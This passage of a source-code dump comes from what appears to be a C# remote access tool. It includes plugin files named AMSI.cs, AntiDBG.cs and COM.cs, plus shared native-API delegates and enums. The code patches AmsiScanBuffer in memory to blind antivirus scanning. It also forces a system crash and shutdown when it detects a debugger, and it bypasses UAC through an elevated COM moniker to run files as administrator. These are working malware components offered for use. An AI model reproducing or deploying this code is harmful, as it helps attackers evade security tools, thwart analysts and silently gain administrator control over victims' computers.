'*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/AMSI.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing static Offline.Special.Commons;\n\n/*\n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Helped by https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs ||\n*/\n\nnamespace Offline.Special\n{\n    internal static class AMSI\n    {\n        /*[UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        delegate IntPtr LoadLibrary\n            (\n                byte[] name\n            );\n\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        delegate bool VirtualProtect\n            (\n                IntPtr lpAddress,\n                UIntPtr dwSize,\n                uint flNewProtect,\n                out uint lpflOldProtect\n            );\n\n        static LoadLibrary loadLibrary;\n        static VirtualProtect virtualProtect;\n\n        static void PrepareDelegate()\n        {\n            IntPtr loadLib = Resolver.GetExportAddress(\"kernel32.dll\", \"LoadLibraryW\");\n            IntPtr virtualProt = Resolver.GetExportAddress(\"kernel32.dll\", \"VirtualProtect\");\n\n            loadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(loadLib, typeof(LoadLibrary));\n            virtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(virtualProt, typeof(VirtualProtect));\n        }*/\n\n        static IntPtr LoadAmsi()\n        {\n            return loadLibrary(System.Text.Encoding.Unicode.GetBytes(\"amsi.dll\"));\n        }\n\n        internal static bool BlockIt()\n        {\n            //PrepareDelegate();\n\n            IntPtr amsiDll = Resolver.GetModuleBaseAddress(\"amsi.dll\", (IntPtr)(-1));\n            if (amsiDll == IntPtr.Zero)\n                LoadAmsi();\n\n            IntPtr amsiScanBufferLocation = Resolver.GetExportAddress(\"amsi.dll\", \"AmsiScanBuffer\");\n\n            byte[] patchBytes = IntPtr.Size == 8 ? new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } : new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };\n\n            bool b = virtualProtect(amsiScanBufferLocation, (UIntPtr)patchBytes.Length, 0x40, out uint oldProtect);\n\n            if (!b)\n                return false;\n\n            Marshal.Copy(patchBytes, 0, amsiScanBufferLocation, patchBytes.Length);\n\n            b = virtualProtect(amsiScanBufferLocation, (UIntPtr)patchBytes.Length, oldProtect, out uint _);\n\n            if (!b)\n                return false;\n\n            return true;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Threading;\nusing static Offline.Special.Commons;\n\n/*\n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Special\n{\n    internal class AntiDBG\n    {\n        internal static bool isThreadLaunched;\n        private const uint errorCode = 0xC0000005;\n\n        static AntiDBG() \n        {\n            isThreadLaunched = false;\n        }\n\n\n        /*[UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        delegate NtStatus RtlAdjustPrivilege\n        (\n            RTL_PRIVILEGES privilege,\n            bool bEnablePrivilege,\n            bool IsThreadPrivilege,\n            out bool PreviousValue\n        );\n\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        delegate NtStatus NtRaiseHardError\n        (   \n            uint ErrorStatus, \n            uint NumberOfParameters, \n            uint UnicodeStringParameterMask, \n            IntPtr Parameters, \n            HARDERROR_RESPONSE_OPTION ValidResponseOption, \n            out HARDERROR_RESPONSE Response\n        );\n\n        static RtlAdjustPrivilege rtlAdjustPrivilege;\n        static NtRaiseHardError ntRaiseHardError;\n\n        static void PrepareDelegate()\n        {\n            IntPtr rtlAdjustPriv= Resolver.GetExportAddress(\"ntdll.dll\", \"RtlAdjustPrivilege\");\n            IntPtr ntRaiseHard = Resolver.GetExportAddress(\"ntdll.dll\", \"NtRaiseHardError\");\n            rtlAdjustPrivilege = (RtlAdjustPrivilege)Marshal.GetDelegateForFunctionPointer(rtlAdjustPriv, typeof(RtlAdjustPrivilege));\n            ntRaiseHardError = (NtRaiseHardError)Marshal.GetDelegateForFunctionPointer(ntRaiseHard, typeof(NtRaiseHardError));\n        }*/\n\n        internal static void BlockIt()\n        {\n            //PrepareDelegate();\n            new Thread(() =>\n            {\n                isThreadLaunched = true;\n                while (true)\n                {\n                    IntPtr addPeb = GetPebAddressDynamicWithoutAllocate();\n                    byte offset = Marshal.ReadByte(addPeb + 2);\n                    bool b = (offset != 0);\n                    if (b)\n                    {\n                        NtStatus seShutdownStatus = rtlAdjustPrivilege(RTL_PRIVILEGES.SeShutdownPrivilege, true, false, out _);\n                        if (seShutdownStatus == NtStatus.Success)\n                        {\n                            HARDERROR_RESPONSE response = HARDERROR_RESPONSE.ResponseNotHandled;\n                            ntRaiseHardError(errorCode, 0, 0, IntPtr.Zero, HARDERROR_RESPONSE_OPTION.OptionShutdownSystem, out response);\n                        }\n                    }\n                    Thread.Sleep(10000);\n                }\n            }).Start();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/COM.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing static Offline.Special.Commons;\n\n/*\n|| AUTHOR https://www.796t.com/article.php?id=182188 ||\n|| Found https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/ ||\n|| Original https://github.com/0xlane/BypassUAC ||\n|| Found https://github.com/kosh-cyber/BypassUac ||\n|| github : https://github.com/arsium       ||\n|| This method combines PEB masquerading + abusing com object. Reworked the method from original method to make them working with x64 + manually resolve syscalls + testing some methods :)||\n*/\n\nnamespace Offline.Special\n{\n    internal class COM\n    {\n        private unsafe static object LaunchElevatedCOMObjectUnsafe(Guid Clsid, Guid InterfaceID)\n        {\n            string CLSID = Clsid.ToString(\"B\"); // B formatting directive: returns {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} \n            string monikerName = \"Elevation:Administrator!new:\" + CLSID;\n\n            BIND_OPTS3 bo = new BIND_OPTS3();\n            bo.cbStruct = (uint)Marshal.SizeOf(bo);\n            bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;\n            void* retVal;\n\n            int h = coGetObject(Encoding.Unicode.GetBytes(monikerName), &bo, &InterfaceID, &retVal);\n            if (h != 0) return null;\n\n            return Marshal.GetObjectForIUnknown((IntPtr)retVal);\n        }\n\n        internal unsafe static Parser.HRESULT Start(string filePath, string param = null)\n        {\n            //3E000D72-A845-4CD9-BD83-80C07C3B881F this one works but weird way with prompt (auto approval = false)\n            //3E5FC7F9-9A51-4367-9063-A120244FBEC7\n\n            Guid classId = new Guid(\"3E5FC7F9-9A51-4367-9063-A120244FBEC7\");\n\n            //D4309536-E369-4241-A4DD-3D10A257A1C2\n            //6EDD6D74-C007-4E75-B76A-E5740995E24C\n\n            Guid interfaceId = new Guid(\"6EDD6D74-C007-4E75-B76A-E5740995E24C\");\n\n            object elvObject = LaunchElevatedCOMObjectUnsafe(classId, interfaceId);\n\n            if (elvObject != null)\n            {\n                ILua ihw = (ILua)elvObject;\n                ihw.ShellExec(filePath, null, null, 0, 5);\n                Marshal.ReleaseComObject(elvObject);\n                return Parser.HRESULT.S_OK;\n            }\n            return Parser.HRESULT.S_FALSE;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/*\n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Special\n{\n    internal partial class Commons\n    {\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        internal delegate void RtlInitUnicodeString\n            (\n                ref UnicodeString DestinationString, \n                [MarshalAs(UnmanagedType.LPWStr)] string SourceString\n            );\n\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        internal delegate void RtlEnterCriticalSection(IntPtr lpCriticalSection);\n\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        internal delegate void RtlLeaveCriticalSection(IntPtr lpCriticalSection);\n\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        internal unsafe delegate int CoGetObject\n            (\n                byte[] pszName,\n                BIND_OPTS3* pBindOptions,\n                Guid* riid,\n                void** rReturnedComObject\n            );\n\n        [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n        internal unsafe delegate NtStatus NtProtectVirtualMemory\n            (\n                void* ProcessHandle,\n                void* BaseAddress,\n                uint* NumberOfBytesToProtect,\n                PageAccessType NewAccessProtection,\n                PageAccessType* OldAccessProtection\n            );\n\n\n        [UnmanagedFunctionPointer(CallingConvention.StdCall)]//Cdecl FOR MANUAL SYSCALL, StdCall otherwise\n        internal delegate uint NtWriteVirtualMemory\n            (\n                IntPtr ProcessHandle, \n                IntPtr BaseAddress, \n                IntPtr buffer, \n                UIntPtr bufferSize, \n                out UIntPtr written\n            );\n\n\n        [UnmanagedFunctionPointer(CallingConvention.StdCall)]\n        internal unsafe delegate NtStatus NtAllocateVirtualMemory\n            (\n                void* ProcessHandle,\n                void* BaseAddress,\n                uint ZeroBits,\n                uint* RegionSize,\n                MemoryAllocationType AllocationType,\n                PageAccessType Protect\n            );\n\n        #region \"AMSI\"\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        internal delegate IntPtr LoadLibrary\n            (\n                byte[] name\n            );\n\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        internal delegate bool VirtualProtect\n            (\n                IntPtr lpAddress,\n                UIntPtr dwSize,\n                uint flNewProtect,\n                out uint lpflOldProtect\n            );\n\n        internal static LoadLibrary loadLibrary;\n        internal static VirtualProtect virtualProtect;\n        #endregion\n        #region \"AntiDBG\"\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        internal delegate NtStatus RtlAdjustPrivilege\n            (\n                RTL_PRIVILEGES privilege,\n                bool bEnablePrivilege,\n                bool IsThreadPrivilege,\n                out bool PreviousValue\n            );\n\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        internal delegate NtStatus NtRaiseHardError\n            (\n                uint ErrorStatus,\n                uint NumberOfParameters,\n                uint UnicodeStringParameterMask,\n                IntPtr Parameters,\n                HARDERROR_RESPONSE_OPTION ValidResponseOption,\n                out HARDERROR_RESPONSE Response\n            );\n\n        internal static RtlAdjustPrivilege rtlAdjustPrivilege;\n        internal static NtRaiseHardError ntRaiseHardError;\n        #endregion\n        #region \"ETW\"\n        internal delegate NtStatus NtProtectVirtualMemorySafe\n            (\n                IntPtr ProcessHandle,\n                ref IntPtr BaseAddress,\n                ref uint NumberOfBytesToProtect,\n                PageAccessType NewAccessProtection,\n                ref PageAccessType OldAccessProtection\n            );\n        internal static NtProtectVirtualMemorySafe ntProtectVirtualMemorySafe;\n        #endregion\n        #region \"PEFromPEB\"\n        [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n        internal delegate NtStatus NtWriteVirtualMemorySafe\n            (\n                IntPtr ProcessHandle,\n                IntPtr BaseAddress,\n                byte[] Buffer,\n                uint NumberOfBytesToWrite,\n                out uint NumberOfBytesWritten\n            );\n\n\n        internal static NtWriteVirtualMemorySafe ntWriteVirtualMemorySafe;\n        #endregion\n\n        internal static NtProtectVirtualMemory ntProtectVirtualMemory;\n        internal static NtWriteVirtualMemory ntWriteVirtualMemory;\n        internal static RtlInitUnicodeString rtlInitUnicodeString;\n        internal static RtlEnterCriticalSection rtlEnterCriticalSection;\n        internal static RtlLeaveCriticalSection rtlLeaveCriticalSection;\n        //private static NtQueryInformationProcessDel ntQueryInformationProcess;\n        internal static CoGetObject coGetObject;\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/Commons/Enums.cs",
    "content": "﻿using System;\n\n/*\n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Special\n{\n    internal static partial class Commons\n    {\n        #region \"PE\"\n        internal enum MagicType : ushort\n        {\n            IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,      //PE32\n            IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b,      //PE32+\n            IMAGE_ROM_OPTIONAL_HDR_MAGIC = 0x107\n        }\n\n        internal enum SubSystemType : ushort\n        {\n            IMAGE_SUBSYSTEM_UNKNOWN = 0,\n            IMAGE_SUBSYSTEM_NATIVE = 1,\n            IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,\n            IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,\n            IMAGE_SUBSYSTEM_OS2_CUI = 5,\n            IMAGE_SUBSYSTEM_POSIX_CUI = 7,\n            IMAGE_SUBSYSTEM_NATIVE_WINDOWS = 8,\n            IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,\n            IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,\n            IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,\n            IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,\n            IMAGE_SUBSYSTEM_EFI_ROM = 13,\n            IMAGE_SUBSYSTEM_XBOX = 14,\n            IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION = 16,\n            IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG = 17\n        }\n\n        internal enum DllCharacteristics : ushort\n        {\n            IMAGE_LIBRARY_PROCESS_INIT = 0x0001,//RES_0\n            IMAGE_LIBRARY_PROCESS_TERM = 0x0002,//RES_1\n            IMAGE_LIBRARY_THREAD_INIT = 0x0004,//RES_2\n            IMAGE_LIBRARY_THREAD_TERM = 0x0008,//RES_3\n            IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA = 0x0020,\n            IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040,\n            IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080,\n            IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100,\n            IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200,\n            IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400,\n            IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800,\n            IMAGE_DLLCHARACTERISTICS_APPCONTAINER = 0x1000,//RES_4\n            IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000,\n            IMAGE_DLLCHARACTERISTICS_GUARD_CF = 0x4000,\n            IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000\n        }\n\n        internal enum Characteristics : ushort\n        {\n            IMAGE_FILE_RELOCS_STRIPPED = 0x0001,\n            IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002,\n            IMAGE_FILE_LINE_NUMS_STRIPPED = 0x0004,\n            IMAGE_FILE_LOCAL_SYMS_STRIPPED = 0x0008,\n            IMAGE_FILE_AGGRESIVE_WS_TRIM = 0x0010,\n            IMAGE_FILE_LARGE_ADDRESS_AWARE = 0x0020,\n            IMAGE_FILE_BYTES_REVERSED_LO = 0x0080,\n            IMAGE_FILE_32BIT_MACHINE = 0x0100,\n            IMAGE_FILE_DEBUG_STRIPPED = 0x0200,\n            IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = 0x0400,\n            IMAGE_FILE_NET_RUN_FROM_SWAP = 0x0800,\n            IMAGE_FILE_SYSTEM = 0x1000,\n            IMAGE_FILE_DLL = 0x2000,\n            IMAGE_FILE_UP_SYSTEM_ONLY = 0x4000,\n            IMAGE_FILE_BYTES_REVERSED_HI = 0x8000\n        }\n\n        internal enum Machine : ushort\n        {\n            IMAGE_FILE_MACHINE_UNKNOWN = 0,\n            IMAGE_FILE_MACHINE_TARGET_HOST = 0x0001,  // Useful for indicating we want to interact with the host and not a WoW guest.\n            IMAGE_FILE_MACHINE_I386 = 0x014c, // Intel 386.\n            IMAGE_FILE_MACHINE_R3000 = 0x0162, // MIPS little-endian, =0x160 big-endian\n            IMAGE_FILE_MACHINE_R4000 = 0x0166,// MIPS little-endian\n            IMAGE_FILE_MACHINE_R10000 = 0x0168,// MIPS little-endian\n            IMAGE_FILE_MACHINE_WCEMIPSV2 = 0x0169,// MIPS little-endian WCE v2\n            IMAGE_FILE_MACHINE_ALPHA = 0x0184,// Alpha_AXP\n            IMAGE_FILE_MACHINE_SH3 = 0x01a2,// SH3 little-endian\n            IMAGE_FILE_MACHINE_SH3DSP = 0x01a3,\n            IMAGE_FILE_MACHINE_SH3E = 0x01a4, // SH3E little-endian\n            IMAGE_FILE_MACHINE_SH4 = 0x01a6, // SH4 little-endian\n            IMAGE_FILE_MACHINE_SH5 = 0x01a8,// SH5\n            IMAGE_FILE_MACHINE_ARM = 0x01c0,// ARM Little-Endian\n            IMAGE_FILE_MACHINE_THUMB = 0x01c2,// ARM Thumb/Thumb-2 Little-Endian\n            IMAGE_FILE_MACHINE_ARMNT = 0x01c4,// ARM Thumb-2 Little-Endian\n            IMAGE_FILE_MACHINE_AM33 = 0x01d3,\n            IMAGE_FILE_MACHINE_POWERPC = 0x01F0, // IBM PowerPC Little-Endian\n            IMAGE_FILE_MACHINE_POWERPCFP = 0x01f1,\n            IMAGE_FILE_MACHINE_IA64 = 0x0200, // Intel 64\n            IMAGE_FILE_MACHINE_MIPS16 = 0x0266, // MIPS\n            IMAGE_FILE_MACHINE_ALPHA64 = 0x0284,// ALPHA64\n            IMAGE_FILE_MACHINE_MIPSFPU = 0x0366,// MIPS\n            IMAGE_FILE_MACHINE_MIPSFPU16 = 0x0466,// MIPS\n            IMAGE_FILE_MACHINE_AXP64 = IMAGE_FILE_MACHINE_ALPHA64,\n            IMAGE_FILE_MACHINE_TRICORE = 0x0520,// Infineon\n            IMAGE_FILE_MACHINE_CEF = 0x0CEF,\n            IMAGE_FILE_MACHINE_EBC = 0x0EBC, // EFI Byte Code\n            IMAGE_FILE_MACHINE_AMD64 = 0x8664,// AMD64 (K8)\n            IMAGE_FILE_MACHINE_M32R = 0x9041,// M32R little-endian\n            IMAGE_FILE_MACHINE_ARM64 = 0xAA64,// ARM64 Little-Endian\n            IMAGE_FILE_MACHINE_CEE = 0xC0EE\n        }\n        #endregion\n        #region \"Process\"\n        internal enum ProcessInfoClass\n        {\n            ProcessBasicInformation = 0,\n            ProcessQuotaLimits = 1,\n            ProcessIoCounters = 2,\n            ProcessVmCounters = 3,\n            ProcessTimes = 4,\n            ProcessBasePriority = 5,\n            ProcessRaisePriority = 6,\n            ProcessDebugPort = 7,\n            ProcessExceptionPort = 8,\n            ProcessAccessToken = 9,\n            ProcessLdtInformation = 10,\n            ProcessLdtSize = 11,\n            ProcessDefaultHardErrorMode = 12,\n            ProcessIoPortHandlers = 13,\n            ProcessPooledUsageAndLimits = 14,\n            ProcessWorkingSetWatch = 15,\n            ProcessUserModeIOPL = 16,\n            ProcessEnableAlignmentFaultFixup = 17,\n            ProcessPriorityClass = 18,\n            ProcessWx86Information = 19,\n            ProcessHandleCount = 20,\n            ProcessAffinityMask = 21,\n            ProcessPriorityBoost = 22,\n            ProcessDeviceMap = 23,\n            ProcessSessionInformation = 24,\n            ProcessForegroundInformation = 25,\n            ProcessWow64Information = 26,\n            ProcessImageFileName = 27,\n            ProcessLUIDDeviceMapsEnabled = 28,\n            ProcessBreakOnTermination = 29,\n            ProcessDebugObjectHandle = 30,\n            ProcessDebugFlags = 31,\n            ProcessHandleTracing = 32,\n            ProcessExecuteFlags = 34,\n            ProcessTlsInformation = 35,\n            ProcessCookie = 36,\n            ProcessImageInformation = 37,\n            ProcessCycleTime = 38,\n            ProcessPagePriority = 39,\n            ProcessInstrumentationCallback = 40,\n            ProcessThreadStackAllocation = 41,\n            ProcessWorkingSetWatchEx = 42,\n            ProcessImageFileNameWin32 = 43,\n            ProcessImageFileMapping = 44,\n            ProcessAffinityUpdateMode = 45,\n            ProcessMemoryAllocationMode = 46,\n            ProcessGroupInformation = 47,\n            ProcessTokenVirtualizationEnabled = 48,\n            ProcessConsoleHostProcess = 49,\n            ProcessWindowInformation = 50,\n            MaxProcessInfoClass\n        }\n\n        internal enum NtStatus : uint\n        {\n            Success = 0,\n            Informational = 0x40000000,\n            Error = 0xc0000000\n        }\n\n        [Flags]\n        internal enum PebFlags : byte\n        {\n            None = 0,\n            ImageUsesLargePages = 0x01,\n            IsProtectedProcess = 0x02,\n            IsImageDynamicallyRelocated = 0x04,\n            SkipPatchingUser32Forwarders = 0x08,\n            IsPackagedProcess = 0x10,\n            IsAppContainer = 0x20,\n            IsProtectedProcessLight = 0x40,\n            IsLongPathAwareProcess = 0x80,\n        }\n\n        internal enum SubSystemType4Bytes : uint\n        {\n            IMAGE_SUBSYSTEM_UNKNOWN = 0,\n            IMAGE_SUBSYSTEM_NATIVE = 1,\n            IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,\n            IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,\n            IMAGE_SUBSYSTEM_OS2_CUI = 5,\n            IMAGE_SUBSYSTEM_POSIX_CUI = 7,\n            IMAGE_SUBSYSTEM_NATIVE_WINDOWS = 8,\n            IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,\n            IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,\n            IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,\n            IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,\n            IMAGE_SUBSYSTEM_EFI_ROM = 13,\n            IMAGE_SUBSYSTEM_XBOX = 14,\n            IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION = 16,\n            IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG = 17\n        }\n\n        [Flags]\n        internal enum PageAccessType : uint\n        {\n            PAGE_NOACCESS = 0x01,\n            PAGE_READONLY = 0x02,\n            PAGE_READWRITE = 0x04,\n            PAGE_WRITECOPY = 0x08,\n            PAGE_EXECUTE = 0x10,\n            PAGE_EXECUTE_READ = 0x20,\n            PAGE_EXECUTE_READWRITE = 0x40,\n            PAGE_EXECUTE_WRITECOPY = 0x80,\n            PAGE_GUARD = 0x100,\n            PAGE_NOCACHE = 0x200,\n            PAGE_WRITECOMBINE = 0x400,\n            PAGE_GRAPHICS_NOACCESS = 0x0800,\n            PAGE_GRAPHICS_READONLY = 0x1000,\n            PAGE_GRAPHICS_READWRITE = 0x2000,\n            PAGE_GRAPHICS_EXECUTE = 0x4000,\n            PAGE_GRAPHICS_EXECUTE_READ = 0x8000,\n            PAGE_GRAPHICS_EXECUTE_READWRITE = 0x10000,\n            PAGE_GRAPHICS_COHERENT = 0x20000,\n            PAGE_GRAPHICS_NOCACHE = 0x40000,\n            PAGE_ENCLAVE_THREAD_CONTROL = 0x80000000,\n            PAGE_REVERT_TO_FILE_MAP = 0x80000000,\n            PAGE_TARGETS_NO_UPDATE = 0x40000000,\n            PAGE_TARGETS_INVALID = 0x40000000,\n            PAGE_ENCLAVE_UNVALIDATED = 0x20000000,\n            PAGE_ENCLAVE_MASK = 0x10000000,\n            PAGE_ENCLAVE_DECOMMIT = (PAGE_ENCLAVE_MASK | 0),\n            PAGE_ENCLAVE_SS_FIRST = (PAGE_ENCLAVE_MASK | 1),\n            PAGE_ENCLAVE_SS_REST = (PAGE_ENCLAVE_MASK | 2)\n        }\n\n        [Flags]\n        internal enum MemoryAllocationType : uint\n        {\n            MEM_COMMIT = 0x00001000,\n            MEM_RESERVE = 0x00002000,\n            MEM_REPLACE_PLACEHOLDER = 0x00004000,\n            MEM_RESERVE_PLACEHOLDER = 0x00040000,\n            MEM_RESET = 0x00080000,\n            MEM_TOP_DOWN = 0x00100000,\n            MEM_WRITE_WATCH = 0x00200000,\n            MEM_PHYSICAL = 0x00400000,\n            MEM_ROTATE = 0x00800000,\n            MEM_DIFFERENT_IMAGE_BASE_OK = 0x00800000,\n            MEM_RESET_UNDO = 0x01000000,\n            MEM_LARGE_PAGES = 0x20000000,\n            MEM_4MB_PAGES = 0x80000000,\n            MEM_64K_PAGES = (MEM_LARGE_PAGES | MEM_PHYSICAL),\n            MEM_UNMAP_WITH_TRANSIENT_BOOST = 0x00000001,\n            MEM_COALESCE_PLACEHOLDERS = 0x00000001,\n            MEM_PRESERVE_PLACEHOLDER = 0x00000002,\n            MEM_DECOMMIT = 0x00004000,\n            MEM_RELEASE = 0x00008000,\n            MEM_FREE = 0x00010000\n        }\n        #endregion\n        #region \"COM Object\"\n\n        [Flags]\n        internal enum CLSCTX\n        {\n            CLSCTX_INPROC_SERVER = 0x1,\n            CLSCTX_INPROC_HANDLER = 0x2,\n            CLSCTX_LOCAL_SERVER = 0x4,\n            CLSCTX_REMOTE_SERVER = 0x10,\n            CLSCTX_NO_CODE_DOWNLOAD = 0x400,\n            CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,\n            CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,\n            CLSCTX_NO_FAILURE_LOG = 0x4000,\n            CLSCTX_DISABLE_AAA = 0x8000,\n            CLSCTX_ENABLE_AAA = 0x10000,\n            CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,\n            CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,\n            CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,\n            CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER\n        }\n        #endregion     \n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/Commons/Functions.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/*\n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Special\n{\n    internal static partial class Commons\n    {\n        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]//for manual shellcode\n        private delegate IntPtr GetPeb();\n        internal static IntPtr GetPebAddressDynamicWithoutAllocate()\n        {\n            IntPtr pebFunction = Resolver.GetExportAddress(\"ntdll.dll\", \"RtlGetCurrentPeb\");\n\n            GetPeb pebAddress = (GetPeb)Marshal.GetDelegateForFunctionPointer(pebFunction, typeof(GetPeb));\n\n            return pebAddress();\n        }\n\n        internal static T ReadStructAt<T>(IntPtr pStructure)\n        {\n            int size = Marshal.SizeOf(typeof(T));\n            IntPtr ptr = Marshal.AllocHGlobal(size);\n            CopyMemory(ptr, pStructure, (uint)size);\n            T res = (T)Marshal.PtrToStructure(ptr, typeof(T));\n            Marshal.FreeHGlobal(ptr);\n            return res;\n        }\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]\n        public static extern void CopyMemory\n        (\n            IntPtr pDest,\n            IntPtr pSrc,\n            uint length\n        );\n\n        [DllImport(\"ntdll\", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]\n        internal static extern NtStatus NtQueryInformationProcess\n           (\n               IntPtr ProcessHandle,\n               ProcessInfoClass ProcessInforationClass,\n               IntPtr ProcessInformation,\n               uint ProcessInformationLength,\n               out uint ReturnLength\n           );\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs",
    "content": "﻿using System;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\nnamespace Offline.Special\n{\n    internal static partial class Commons\n    {\n        [ComImport, Guid(\"6EDD6D74-C007-4E75-B76A-E5740995E24C\"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]\n        internal interface ILua\n        {\n            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]\n            void Method1();\n            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]\n            void Method2();\n            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]\n            void Method3();\n            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]\n            void Method4();\n            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]\n            void Method5();\n            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]\n            void Method6();\n            [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]\n            Parser.HRESULT ShellExec(\n                [In, MarshalAs(UnmanagedType.LPWStr)] string file,\n                [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,\n                [In, MarshalAs(UnmanagedType.LPWStr)] string directory,\n                [In] uint fMask,\n                [In] uint nShow);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs",
